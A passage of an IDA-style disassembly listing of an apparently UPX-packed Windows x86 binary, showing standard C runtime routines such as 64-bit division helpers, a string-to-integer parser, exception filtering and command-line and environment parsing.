		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EF33


loc_40EF69:				; CODE XREF: sub_40EF2A+16j
					; sub_40EF2A+1Ej
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40EF2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF6F	proc near		; CODE XREF: UPX0:0040B70Ap
					; sub_40E316+26p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	esi, esi


loc_40EF78:				; CODE XREF: sub_40EF6F+44j
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EB78
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_40EFB5
		cmp	dword_42EBE8, eax
		jbe	short loc_40EFB5
		push	esi
		call	dword_41D080	; Sleep
		lea	eax, [esi+3E8h]
		cmp	eax, dword_42EBE8
		jbe	short loc_40EFAE
		or	eax, 0FFFFFFFFh


loc_40EFAE:				; CODE XREF: sub_40EF6F+3Aj
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EF78


loc_40EFB5:				; CODE XREF: sub_40EF6F+1Dj
					; sub_40EF6F+25j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40EF6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EFBB	proc near		; CODE XREF: sub_40B649+61p
					; sub_40B649+77p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	esi, esi


loc_40EFC4:				; CODE XREF: sub_40EFBB+46j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B8A1
		mov	edi, eax
		pop	ecx
		pop	ecx
		test	edi, edi
		jnz	short loc_40F003
		cmp	[ebp+arg_4], eax
		jz	short loc_40F003
		cmp	dword_42EBE8, eax
		jbe	short loc_40F003
		push	esi
		call	dword_41D080	; Sleep
		lea	eax, [esi+3E8h]
		cmp	eax, dword_42EBE8
		jbe	short loc_40EFFC
		or	eax, 0FFFFFFFFh


loc_40EFFC:				; CODE XREF: sub_40EFBB+3Cj
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EFC4


loc_40F003:				; CODE XREF: sub_40EFBB+1Aj
					; sub_40EFBB+1Fj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40EFBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F009	proc near		; CODE XREF: sub_416CC7+13Dp
					; sub_416CC7+179p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	esi, esi


loc_40F012:				; CODE XREF: sub_40F009+4Aj
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B28B
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_40F055
		cmp	[ebp+arg_8], eax
		jz	short loc_40F055
		cmp	dword_42EBE8, eax
		jbe	short loc_40F055
		push	esi
		call	dword_41D080	; Sleep
		lea	eax, [esi+3E8h]
		cmp	eax, dword_42EBE8
		jbe	short loc_40F04E
		or	eax, 0FFFFFFFFh


loc_40F04E:				; CODE XREF: sub_40F009+40j
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F012


loc_40F055:				; CODE XREF: sub_40F009+1Ej
					; sub_40F009+23j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40F009	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40F060	proc near		; CODE XREF: sub_4128E7+8F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_40F091
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+4+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+4+arg_8]
		add	edx, ecx
		jmp	short loc_40F0D8
; ---------------------------------------------------------------------------


loc_40F091:				; CODE XREF: sub_40F060+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_40F09F:				; CODE XREF: sub_40F060+49j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40F09F
		div	ebx
		mov	esi, eax
		mul	[esp+4+arg_C]
		mov	ecx, eax
		mov	eax, [esp+4+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_40F0CD
		cmp	edx, [esp+4+arg_4]
		ja	short loc_40F0CD
		jb	short loc_40F0D6
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_40F0D6


loc_40F0CD:				; CODE XREF: sub_40F060+5Dj
					; sub_40F060+63j
		dec	esi
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_40F0D6:				; CODE XREF: sub_40F060+65j
					; sub_40F060+6Bj
		xor	ebx, ebx


loc_40F0D8:				; CODE XREF: sub_40F060+2Fj
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		pop	esi
		retn	10h
sub_40F060	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0F5	proc near		; CODE XREF: sub_40F324:loc_40F345p

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_14]
		call	sub_40C799
		mov	eax, [ebp+arg_8]
		mov	esi, [ebp+arg_4]
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_40F118
		mov	[eax], esi


loc_40F118:				; CODE XREF: sub_40F0F5+1Fj
		cmp	esi, edi
		jnz	short loc_40F148


loc_40F11C:				; CODE XREF: sub_40F0F5+5Cj
					; sub_40F0F5+62j
		call	sub_40C862
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		cmp	[ebp+var_8], 0
		jz	short loc_40F141
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_40F141:				; CODE XREF: sub_40F0F5+43j
		xor	eax, eax
		jmp	loc_40F320
; ---------------------------------------------------------------------------


loc_40F148:				; CODE XREF: sub_40F0F5+25j
		cmp	[ebp+arg_C], edi
		jz	short loc_40F159
		cmp	[ebp+arg_C], 2
		jl	short loc_40F11C
		cmp	[ebp+arg_C], 24h
		jg	short loc_40F11C


loc_40F159:				; CODE XREF: sub_40F0F5+56j
		mov	ecx, [ebp+var_14]
		push	ebx
		mov	bl, [esi]
		mov	[ebp+var_4], edi
		lea	edi, [esi+1]


loc_40F165:				; CODE XREF: sub_40F0F5+A7j
		cmp	dword ptr [ecx+0ACh], 1
		jle	short loc_40F185
		lea	eax, [ebp+var_14]
		push	eax
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41449B
		mov	ecx, [ebp+var_14]
		add	esp, 0Ch
		jmp	short loc_40F195
; ---------------------------------------------------------------------------


loc_40F185:				; CODE XREF: sub_40F0F5+77j
		mov	edx, [ecx+0C8h]
		movzx	eax, bl
		movzx	eax, word ptr [edx+eax*2]
		and	eax, 8


loc_40F195:				; CODE XREF: sub_40F0F5+8Ej
		test	eax, eax
		jz	short loc_40F19E
		mov	bl, [edi]
		inc	edi
		jmp	short loc_40F165
; ---------------------------------------------------------------------------


loc_40F19E:				; CODE XREF: sub_40F0F5+A2j
		cmp	bl, 2Dh
		jnz	short loc_40F1A9
		or	[ebp+arg_10], 2
		jmp	short loc_40F1AE
; ---------------------------------------------------------------------------


loc_40F1A9:				; CODE XREF: sub_40F0F5+ACj
		cmp	bl, 2Bh
		jnz	short loc_40F1B1


loc_40F1AE:				; CODE XREF: sub_40F0F5+B2j
		mov	bl, [edi]
		inc	edi


loc_40F1B1:				; CODE XREF: sub_40F0F5+B7j
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jl	loc_40F307
		cmp	eax, 1
		jz	loc_40F307
		cmp	eax, 24h
		jg	loc_40F307
		test	eax, eax
		jnz	short loc_40F1FC
		cmp	bl, 30h
		jz	short loc_40F1E0
		mov	[ebp+arg_C], 0Ah
		jmp	short loc_40F214
; ---------------------------------------------------------------------------


loc_40F1E0:				; CODE XREF: sub_40F0F5+E0j
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_40F1F3
		cmp	al, 58h
		jz	short loc_40F1F3
		mov	[ebp+arg_C], 8
		jmp	short loc_40F214
; ---------------------------------------------------------------------------


loc_40F1F3:				; CODE XREF: sub_40F0F5+EFj
					; sub_40F0F5+F3j
		mov	[ebp+arg_C], 10h
		jmp	short loc_40F206
; ---------------------------------------------------------------------------


loc_40F1FC:				; CODE XREF: sub_40F0F5+DBj
		cmp	eax, 10h
		jnz	short loc_40F214
		cmp	bl, 30h
		jnz	short loc_40F214


loc_40F206:				; CODE XREF: sub_40F0F5+105j
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_40F210
		cmp	al, 58h
		jnz	short loc_40F214


loc_40F210:				; CODE XREF: sub_40F0F5+115j
		inc	edi
		mov	bl, [edi]
		inc	edi


loc_40F214:				; CODE XREF: sub_40F0F5+E9j
					; sub_40F0F5+FCj ...
		mov	esi, [ecx+0C8h]
		mov	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_C]


loc_40F224:				; CODE XREF: sub_40F0F5+1A2j
		movzx	ecx, bl
		movzx	ecx, word ptr [esi+ecx*2]
		test	cl, 4
		jz	short loc_40F238
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_40F253
; ---------------------------------------------------------------------------


loc_40F238:				; CODE XREF: sub_40F0F5+139j
		test	ecx, 103h
		jz	short loc_40F271
		mov	cl, bl
		sub	cl, 61h
		cmp	cl, 19h
		movsx	ecx, bl
		ja	short loc_40F250
		sub	ecx, 20h


loc_40F250:				; CODE XREF: sub_40F0F5+156j
		add	ecx, 0FFFFFFC9h


loc_40F253:				; CODE XREF: sub_40F0F5+141j
		cmp	ecx, [ebp+arg_C]
		jnb	short loc_40F271
		or	[ebp+arg_10], 8
		cmp	[ebp+var_4], eax
		jb	short loc_40F288
		jnz	short loc_40F267
		cmp	ecx, edx
		jbe	short loc_40F288


loc_40F267:				; CODE XREF: sub_40F0F5+16Cj
		or	[ebp+arg_10], 4
		cmp	[ebp+arg_8], 0
		jnz	short loc_40F294


loc_40F271:				; CODE XREF: sub_40F0F5+149j
					; sub_40F0F5+161j
		mov	eax, [ebp+arg_10]
		dec	edi
		test	al, 8
		jnz	short loc_40F299
		cmp	[ebp+arg_8], 0
		jz	short loc_40F282
		mov	edi, [ebp+arg_4]


loc_40F282:				; CODE XREF: sub_40F0F5+188j
		and	[ebp+var_4], 0
		jmp	short loc_40F2E3
; ---------------------------------------------------------------------------


loc_40F288:				; CODE XREF: sub_40F0F5+16Aj
					; sub_40F0F5+170j
		mov	ebx, [ebp+var_4]
		imul	ebx, [ebp+arg_C]
		add	ebx, ecx
		mov	[ebp+var_4], ebx


loc_40F294:				; CODE XREF: sub_40F0F5+17Aj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_40F224
; ---------------------------------------------------------------------------


loc_40F299:				; CODE XREF: sub_40F0F5+182j
		mov	esi, 7FFFFFFFh
		test	al, 4
		jnz	short loc_40F2BD
		test	al, 1
		jnz	short loc_40F2E3
		and	eax, 2
		jz	short loc_40F2B4
		cmp	[ebp+var_4], 80000000h
		ja	short loc_40F2BD


loc_40F2B4:				; CODE XREF: sub_40F0F5+1B4j
		test	eax, eax
		jnz	short loc_40F2E3
		cmp	[ebp+var_4], esi
		jbe	short loc_40F2E3


loc_40F2BD:				; CODE XREF: sub_40F0F5+1ABj
					; sub_40F0F5+1BDj
		call	sub_40C862
		test	byte ptr [ebp+arg_10], 1
		mov	dword ptr [eax], 22h
		jz	short loc_40F2D4
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_40F2E3
; ---------------------------------------------------------------------------


loc_40F2D4:				; CODE XREF: sub_40F0F5+1D7j
		test	byte ptr [ebp+arg_10], 2
		push	0
		pop	eax
		setnz	al
		add	eax, esi
		mov	[ebp+var_4], eax


loc_40F2E3:				; CODE XREF: sub_40F0F5+191j
					; sub_40F0F5+1AFj ...
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_40F2EC
		mov	[eax], edi


loc_40F2EC:				; CODE XREF: sub_40F0F5+1F3j
		test	byte ptr [ebp+arg_10], 2
		jz	short loc_40F2F5
		neg	[ebp+var_4]


loc_40F2F5:				; CODE XREF: sub_40F0F5+1FBj
		cmp	[ebp+var_8], 0
		jz	short loc_40F302
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_40F302:				; CODE XREF: sub_40F0F5+204j
		mov	eax, [ebp+var_4]
		jmp	short loc_40F31F
; ---------------------------------------------------------------------------


loc_40F307:				; CODE XREF: sub_40F0F5+C1j
					; sub_40F0F5+CAj ...
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_40F310
		mov	[eax], esi


loc_40F310:				; CODE XREF: sub_40F0F5+217j
		cmp	[ebp+var_8], 0
		jz	short loc_40F31D
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_40F31D:				; CODE XREF: sub_40F0F5+21Fj
		xor	eax, eax


loc_40F31F:				; CODE XREF: sub_40F0F5+210j
		pop	ebx


loc_40F320:				; CODE XREF: sub_40F0F5+4Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40F0F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F324	proc near		; CODE XREF: sub_40BABC+Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		cmp	dword_42ED1C, eax
		jnz	short loc_40F344
		push	offset off_42ACE0
		jmp	short loc_40F345
; ---------------------------------------------------------------------------


loc_40F344:				; CODE XREF: sub_40F324+17j
		push	eax


loc_40F345:				; CODE XREF: sub_40F324+1Ej
		call	sub_40F0F5
		add	esp, 14h
		pop	ebp
		retn
sub_40F324	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40F350	proc near		; CODE XREF: sub_40BB3D+2Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_40F372
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_40F3B3
; ---------------------------------------------------------------------------


loc_40F372:				; CODE XREF: sub_40F350+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_40F380:				; CODE XREF: sub_40F350+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40F380
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_40F3AE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_40F3AE
		jb	short loc_40F3AF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_40F3AF


loc_40F3AE:				; CODE XREF: sub_40F350+4Ej
					; sub_40F350+54j
		dec	esi


loc_40F3AF:				; CODE XREF: sub_40F350+56j
					; sub_40F350+5Cj
		xor	edx, edx
		mov	eax, esi


loc_40F3B3:				; CODE XREF: sub_40F350+20j
		pop	esi
		pop	ebx
		retn	10h
sub_40F350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3B8	proc near		; DATA XREF: sub_40F3FAo

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_40F3F4
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_40F3F4
		mov	eax, [eax+14h]
		cmp	eax, 19930520h
		jz	short loc_40F3EF
		cmp	eax, 19930521h
		jz	short loc_40F3EF
		cmp	eax, 19930522h
		jz	short loc_40F3EF
		cmp	eax, 1994000h
		jnz	short loc_40F3F4


loc_40F3EF:				; CODE XREF: sub_40F3B8+20j
					; sub_40F3B8+27j ...
		call	sub_40E02B


loc_40F3F4:				; CODE XREF: sub_40F3B8+10j
					; sub_40F3B8+16j ...
		xor	eax, eax
		pop	ebp
		retn	4
sub_40F3B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F3FA	proc near		; DATA XREF: UPX0:0041D40Co
		push	offset sub_40F3B8
		call	dword_41D1AC	; SetUnhandledExceptionFilter
		xor	eax, eax
		retn
sub_40F3FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F408	proc near		; CODE XREF: UPX0:0040BCEEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		call	sub_40E316
		mov	esi, eax
		test	esi, esi
		jz	loc_40F565
		mov	edx, [esi+5Ch]
		mov	eax, dword_42A3DC
		push	edi
		mov	edi, [ebp+arg_0]
		mov	ecx, edx
		push	ebx


loc_40F42E:				; CODE XREF: sub_40F408+36j
		cmp	[ecx], edi
		jz	short loc_40F440
		mov	ebx, eax
		imul	ebx, 0Ch
		add	ecx, 0Ch
		add	ebx, edx
		cmp	ecx, ebx
		jb	short loc_40F42E


loc_40F440:				; CODE XREF: sub_40F408+28j
		imul	eax, 0Ch
		add	eax, edx
		cmp	ecx, eax
		jnb	short loc_40F451
		cmp	[ecx], edi
		jnz	short loc_40F451
		mov	eax, ecx
		jmp	short loc_40F453
; ---------------------------------------------------------------------------


loc_40F451:				; CODE XREF: sub_40F408+3Fj
					; sub_40F408+43j
		xor	eax, eax


loc_40F453:				; CODE XREF: sub_40F408+47j
		test	eax, eax
		jz	short loc_40F461
		mov	ebx, [eax+8]
		mov	[ebp+var_4], ebx
		test	ebx, ebx
		jnz	short loc_40F468


loc_40F461:				; CODE XREF: sub_40F408+4Dj
		xor	eax, eax
		jmp	loc_40F563
; ---------------------------------------------------------------------------


loc_40F468:				; CODE XREF: sub_40F408+57j
		cmp	ebx, 5
		jnz	short loc_40F479
		and	dword ptr [eax+8], 0
		xor	eax, eax
		inc	eax
		jmp	loc_40F563
; ---------------------------------------------------------------------------


loc_40F479:				; CODE XREF: sub_40F408+63j
		cmp	ebx, 1
		jz	loc_40F560
		mov	ecx, [esi+60h]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+arg_4]
		mov	[esi+60h], ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_40F552
		mov	ecx, dword_42A3D0
		mov	edi, dword_42A3D4
		mov	edx, ecx
		add	edi, ecx
		cmp	edx, edi
		jge	short loc_40F4D2
		imul	ecx, 0Ch


loc_40F4B1:				; CODE XREF: sub_40F408+C5j
		mov	edi, [esi+5Ch]
		and	dword ptr [ecx+edi+8], 0
		mov	edi, dword_42A3D0
		mov	ebx, dword_42A3D4
		inc	edx
		add	ebx, edi
		add	ecx, 0Ch
		cmp	edx, ebx
		jl	short loc_40F4B1
		mov	ebx, [ebp+var_4]


loc_40F4D2:				; CODE XREF: sub_40F408+A4j
		mov	eax, [eax]
		mov	edi, [esi+64h]
		cmp	eax, 0C000008Eh
		jnz	short loc_40F4E7
		mov	dword ptr [esi+64h], 83h
		jmp	short loc_40F545
; ---------------------------------------------------------------------------


loc_40F4E7:				; CODE XREF: sub_40F408+D4j
		cmp	eax, 0C0000090h
		jnz	short loc_40F4F7
		mov	dword ptr [esi+64h], 81h
		jmp	short loc_40F545
; ---------------------------------------------------------------------------


loc_40F4F7:				; CODE XREF: sub_40F408+E4j
		cmp	eax, 0C0000091h
		jnz	short loc_40F507
		mov	dword ptr [esi+64h], 84h
		jmp	short loc_40F545
; ---------------------------------------------------------------------------


loc_40F507:				; CODE XREF: sub_40F408+F4j
		cmp	eax, 0C0000093h
		jnz	short loc_40F517
		mov	dword ptr [esi+64h], 85h
		jmp	short loc_40F545
; ---------------------------------------------------------------------------


loc_40F517:				; CODE XREF: sub_40F408+104j
		cmp	eax, 0C000008Dh
		jnz	short loc_40F527
		mov	dword ptr [esi+64h], 82h
		jmp	short loc_40F545
; ---------------------------------------------------------------------------


loc_40F527:				; CODE XREF: sub_40F408+114j
		cmp	eax, 0C000008Fh
		jnz	short loc_40F537
		mov	dword ptr [esi+64h], 86h
		jmp	short loc_40F545
; ---------------------------------------------------------------------------


loc_40F537:				; CODE XREF: sub_40F408+124j
		cmp	eax, 0C0000092h
		jnz	short loc_40F545
		mov	dword ptr [esi+64h], 8Ah


loc_40F545:				; CODE XREF: sub_40F408+DDj
					; sub_40F408+EDj ...
		push	dword ptr [esi+64h]
		push	8
		call	ebx
		pop	ecx
		mov	[esi+64h], edi
		jmp	short loc_40F559
; ---------------------------------------------------------------------------


loc_40F552:				; CODE XREF: sub_40F408+8Cj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx


loc_40F559:				; CODE XREF: sub_40F408+148j
		mov	eax, [ebp+var_8]
		pop	ecx
		mov	[esi+60h], eax


loc_40F560:				; CODE XREF: sub_40F408+74j
		or	eax, 0FFFFFFFFh


loc_40F563:				; CODE XREF: sub_40F408+5Bj
					; sub_40F408+6Cj
		pop	ebx
		pop	edi


loc_40F565:				; CODE XREF: sub_40F408+11j
		pop	esi
		leave
		retn
sub_40F408	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F568	proc near		; CODE XREF: UPX0:loc_40BCAAp
		mov	edi, edi
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_430270, edi
		jnz	short loc_40F57B
		call	sub_4121C2


loc_40F57B:				; CODE XREF: sub_40F568+Cj
		mov	esi, dword_430294
		test	esi, esi
		jnz	short loc_40F58A
		mov	esi, offset off_4246EE


loc_40F58A:				; CODE XREF: sub_40F568+1Bj
					; sub_40F568+4Dj
		mov	al, [esi]
		cmp	al, 20h
		ja	short loc_40F598
		test	al, al
		jz	short loc_40F5C2
		test	edi, edi
		jz	short loc_40F5BC


loc_40F598:				; CODE XREF: sub_40F568+26j
		cmp	al, 22h
		jnz	short loc_40F5A5
		xor	ecx, ecx
		test	edi, edi
		setz	cl
		mov	edi, ecx


loc_40F5A5:				; CODE XREF: sub_40F568+32j
		movzx	eax, al
		push	eax
		call	sub_4145E7
		pop	ecx
		test	eax, eax
		jz	short loc_40F5B4
		inc	esi


loc_40F5B4:				; CODE XREF: sub_40F568+49j
		inc	esi
		jmp	short loc_40F58A
; ---------------------------------------------------------------------------


loc_40F5B7:				; CODE XREF: sub_40F568+58j
		cmp	al, 20h
		ja	short loc_40F5C2
		inc	esi


loc_40F5BC:				; CODE XREF: sub_40F568+2Ej
		mov	al, [esi]
		test	al, al
		jnz	short loc_40F5B7


loc_40F5C2:				; CODE XREF: sub_40F568+2Aj
					; sub_40F568+51j
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_40F568	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F5C7	proc near		; CODE XREF: UPX0:loc_40BC87p
		cmp	dword_430270, 0
		jnz	short loc_40F5D5
		call	sub_4121C2


loc_40F5D5:				; CODE XREF: sub_40F5C7+7j
		push	esi
		mov	esi, dword_42E3F0
		push	edi
		xor	edi, edi
		test	esi, esi
		jnz	short loc_40F5FB


loc_40F5E3:				; CODE XREF: sub_40F5C7+4Fj
		or	eax, 0FFFFFFFFh
		jmp	loc_40F68B
; ---------------------------------------------------------------------------


loc_40F5EB:				; CODE XREF: sub_40F5C7+38j
		cmp	al, 3Dh
		jz	short loc_40F5F0
		inc	edi


loc_40F5F0:				; CODE XREF: sub_40F5C7+26j
		push	esi
		call	sub_40BFB0
		pop	ecx
		lea	esi, [esi+eax+1]


loc_40F5FB:				; CODE XREF: sub_40F5C7+1Aj
		mov	al, [esi]
		test	al, al
		jnz	short loc_40F5EB
		push	4
		inc	edi
		push	edi
		call	sub_40EF6F
		mov	edi, eax
		pop	ecx
		pop	ecx
		mov	dword_42E88C, edi
		test	edi, edi
		jz	short loc_40F5E3
		mov	esi, dword_42E3F0
		push	ebx
		jmp	short loc_40F663
; ---------------------------------------------------------------------------


loc_40F621:				; CODE XREF: sub_40F5C7+9Fj
		push	esi
		call	sub_40BFB0
		mov	ebx, eax
		inc	ebx
		cmp	byte ptr [esi],	3Dh
		pop	ecx
		jz	short loc_40F661
		push	1
		push	ebx
		call	sub_40EF6F
		pop	ecx
		pop	ecx
		mov	[edi], eax
		test	eax, eax
		jz	short loc_40F68E
		push	esi
		push	ebx
		push	eax
		call	sub_40CD95
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40F65E
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40B12D
		add	esp, 14h


loc_40F65E:				; CODE XREF: sub_40F5C7+86j
		add	edi, 4


loc_40F661:				; CODE XREF: sub_40F5C7+67j
		add	esi, ebx


loc_40F663:				; CODE XREF: sub_40F5C7+58j
		cmp	byte ptr [esi],	0
		jnz	short loc_40F621
		push	dword_42E3F0
		call	sub_40ADC8
		and	dword_42E3F0, 0
		and	dword ptr [edi], 0
		mov	dword_430264, 1
		xor	eax, eax


loc_40F689:				; CODE XREF: sub_40F5C7+DCj
		pop	ecx
		pop	ebx


loc_40F68B:				; CODE XREF: sub_40F5C7+1Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40F68E:				; CODE XREF: sub_40F5C7+77j
		push	dword_42E88C
		call	sub_40ADC8
		and	dword_42E88C, 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_40F689
sub_40F5C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6A5	proc near		; CODE XREF: sub_40F83F+57p
					; sub_40F83F+98p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	ebx
		xor	eax, eax
		push	esi
		mov	[edi], eax
		mov	esi, edx
		mov	edx, [ebp+arg_4]
		mov	dword ptr [ecx], 1
		cmp	[ebp+arg_0], eax
		jz	short loc_40F6CD
		mov	ebx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ebx], edx


loc_40F6CD:				; CODE XREF: sub_40F6A5+1Dj
		mov	[ebp+var_4], eax


loc_40F6D0:				; CODE XREF: sub_40F6A5+80j
					; sub_40F6A5+8Aj
		cmp	byte ptr [esi],	22h
		jnz	short loc_40F6E5
		xor	eax, eax
		cmp	[ebp+var_4], eax
		mov	bl, 22h
		setz	al
		inc	esi
		mov	[ebp+var_4], eax
		jmp	short loc_40F721
; ---------------------------------------------------------------------------


loc_40F6E5:				; CODE XREF: sub_40F6A5+2Ej
		inc	dword ptr [edi]
		test	edx, edx
		jz	short loc_40F6F3
		mov	al, [esi]
		mov	[edx], al
		inc	edx
		mov	[ebp+arg_4], edx


loc_40F6F3:				; CODE XREF: sub_40F6A5+44j
		mov	bl, [esi]
		movzx	eax, bl
		push	eax
		inc	esi
		call	sub_4145E7
		pop	ecx
		test	eax, eax
		jz	short loc_40F717
		inc	dword ptr [edi]
		cmp	[ebp+arg_4], 0
		jz	short loc_40F716
		mov	ecx, [ebp+arg_4]
		mov	al, [esi]
		inc	[ebp+arg_4]
		mov	[ecx], al


loc_40F716:				; CODE XREF: sub_40F6A5+65j
		inc	esi


loc_40F717:				; CODE XREF: sub_40F6A5+5Dj
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		test	bl, bl
		jz	short loc_40F753


loc_40F721:				; CODE XREF: sub_40F6A5+3Ej
		cmp	[ebp+var_4], 0
		jnz	short loc_40F6D0
		cmp	bl, 20h
		jz	short loc_40F731
		cmp	bl, 9
		jnz	short loc_40F6D0


loc_40F731:				; CODE XREF: sub_40F6A5+85j
		test	edx, edx
		jz	short loc_40F739
